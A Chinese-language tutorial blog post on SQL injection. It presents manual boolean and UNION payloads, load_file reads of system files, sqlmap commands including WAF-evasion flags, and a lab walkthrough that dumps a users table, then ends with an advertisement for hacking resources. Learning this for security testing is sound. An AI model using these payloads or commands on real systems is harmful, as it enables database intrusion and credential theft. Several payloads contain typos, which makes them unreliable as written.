前言
SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
SQL 注入已经成为互联网世界 Web 应用程序的最大风险,我们有必要从开发、测试、上线等各个环节对其进行防范。下面博主将简单介绍 SQL 注入的原理及实战操作。
简介
什么是 SQL 注入?
通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。
-
对于 Web 应用程序而言,用户核心数据存储在数据库中,如 MySQL,SQL Server,Oracle;
-
通过 SQL 注入攻击,可以获取,修改,删除数据库信息,并且通过提权来控制 Web 服务器等;
-
SQL 注入由研究员 Rain Forest Puppy 发现,在1998年对外发表文章《NT Web Technology Vulnerabilities》;
-
SQL 注入即攻击者通过构造特殊的 SQL 语句,入侵目标系统,致使后台数据库泄露数据的过程;
-
因为 SQL 注入漏洞造成的严重危害性,所以常年稳居 OWASP TOP10 的榜首!
SQL 注入之后可以做些什么?
- 用户信息被泄露;
- 用户信息被非法倒卖;
- 危害企业,政府,国家安全;
分类
以注入位置分类
- GET 注入
- POST 注入
- Cookie 注入
- 搜索注入
以参数类型分类
- 字符注入
- 数字注入
以注入技术分类
- 错误注入
- 布尔注入
- UNION 注入
- 时间盲注
- ASCII 逐字解码:折半拆解
基础语法
数据库操作
SQL | 作用 |
---|---|
SHOW DATABASES; | 显示 MySQL 的数据库列表; |
USE DBNAME; | 指定接下来要操作的数据库; |
SHOW TABLES; | 显示该数据库的所有数据表; |
SHOW TABLE STATUS FROM DBNAME; | 显示该库中所有表的详细信息; |
SELECT VERSION(); | 查看数据库管理系统的版本; |
SELECT DATABASE(); | 查看当前使用的是哪个数据库; |
SELECT USER(); | 查看当前使用的用户; |
SELECT @@DATADIR | 查看数据库的数据路径; |
SELECT @@BASEDIR | 查看数据库的安装路径; |
SELECT @@VERSION_COMPILE_OS | 查看操作系统的版本; |
数据表操作
数据操作
插入:
查询:
删除:
注入流程
-
判断是否有 SQL 注入漏洞;
-
判断操作系统和数据库类型;
-
获取数据库信息;
-
加密信息破解;
-
提升权限;
-
内网渗透;
手动注入
布尔注入
闭合 SQL 语句,构造 or
和 and
逻辑语句、注释多余的代码;
or 1=1 --
注释后有空格;admin' and 1=1 -- '
查询指定账号的密码;admin' or 1=1 -- '
查询所有账号密码;
union
-
前后查询的项数和顺序要一样;```
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2; -
'union select 1,2 -- ' | 'union select 1,2,3 -- '
先测试查询有几项;
查询数据库
'union select 1,table_name from INFORMATION_SCHEMA.tables -- '
'union select version(),database() from INFORMATION_SCHEMA.tables -- '
'union selcect user(),databases() form INFORMATION_SCHEMA.tables -- '
'union select load_file('/etc/password'),database() from INFORMATION_SCHEMA.tables -- '
'union select load_file('2f6...264'),database() from INFORMATION_SCHEMA.tables -- '
16进制;information_schema
数据库是 MYSQL 自带的,提供了访问数据库元数据的方式。元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。
查询数据表
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'USER_PRIVILEGES' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
查询数据列
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
SQLMap
GET 方法注入
sqlmap -u "url"
指定检测的网址;sqlmap -u "url" -p username --users
查看数据库用户信息;sqlmap -u "url" -p username -dbs
查看有多少数据库;
POST 方法注入
采用 fiddler/burpsuite/tamper 等代理工具,拦截 POST 请求内容,将 POST 请求内容保存到 post.txt 文件中,并让 sqlmap 调用,设置到带 cookie 才能访问的注入页面,则可以采用 -r 参数来实现;
sqlmap -r post.txt --dbs
sqlmap -r post.txt --users
sqlmap -r post.txt --all
带 cookie 参数注入
sqlmap -u "url" cookie=" " --dbs
混淆注入
用于绕过或识别 WAF/IDS/IPS;
sqlmap -u "url" --dbms=mysql --skip-waf (绕过 waf 防火墙) --random-agent( 使用随机 http 头部)
sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile
模拟手机请求;sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --level 3 risk=2
提高安全/危险等级;sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart
智能模式(温和);sqlmap -u "url" --dbms=mysql --skip-waf --random-agent --mobile --smart --offline
减少跟对方的交互;
数据获取
sqlmap -r /root/Desktop/post --tables -D "数据库名"
查看当前数据库的数据表;
实战
打开靶机,进入靶场,发现是 get 传参,
启动 SQLMap,指定传参 name,看看有没有注入点,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name
;
获取到相应信息,可以进行 SQL 注入,先查看所有的数据库 sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dbs
,
有两个数据库,分别为 exercises
和 information_schema
,查询 exercises
数据库,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --tables -D "exercises"
,
只有一个 users
表,查看这个表的所有字段,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --columns -T "users" -D "exercises"
,
查看比较有用的三个字段 id
,name
,passwd
,sqlmap -u "http://192.168.16.137/sqli/example1.php?name=root" -p name --dump -C "id,name,passwd" -T "users" -D "exercises"
,
接下来就是该干嘛干嘛,不过建议点到为止;
后记
以上就是 【网络安全】浅识 SQL 注入 的全部内容了,简单的介绍了一些与 SQL 注入相关的内容,也讲解了在 SQL 注入中经常要用到的一些基础语法,注入流程等,同时结合实战,更加透彻的讲解了 SQL 注入,希望对大家有所帮助!
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】
(都打包成一块的了,不能一一展开,总共300多集)
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇
这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费
】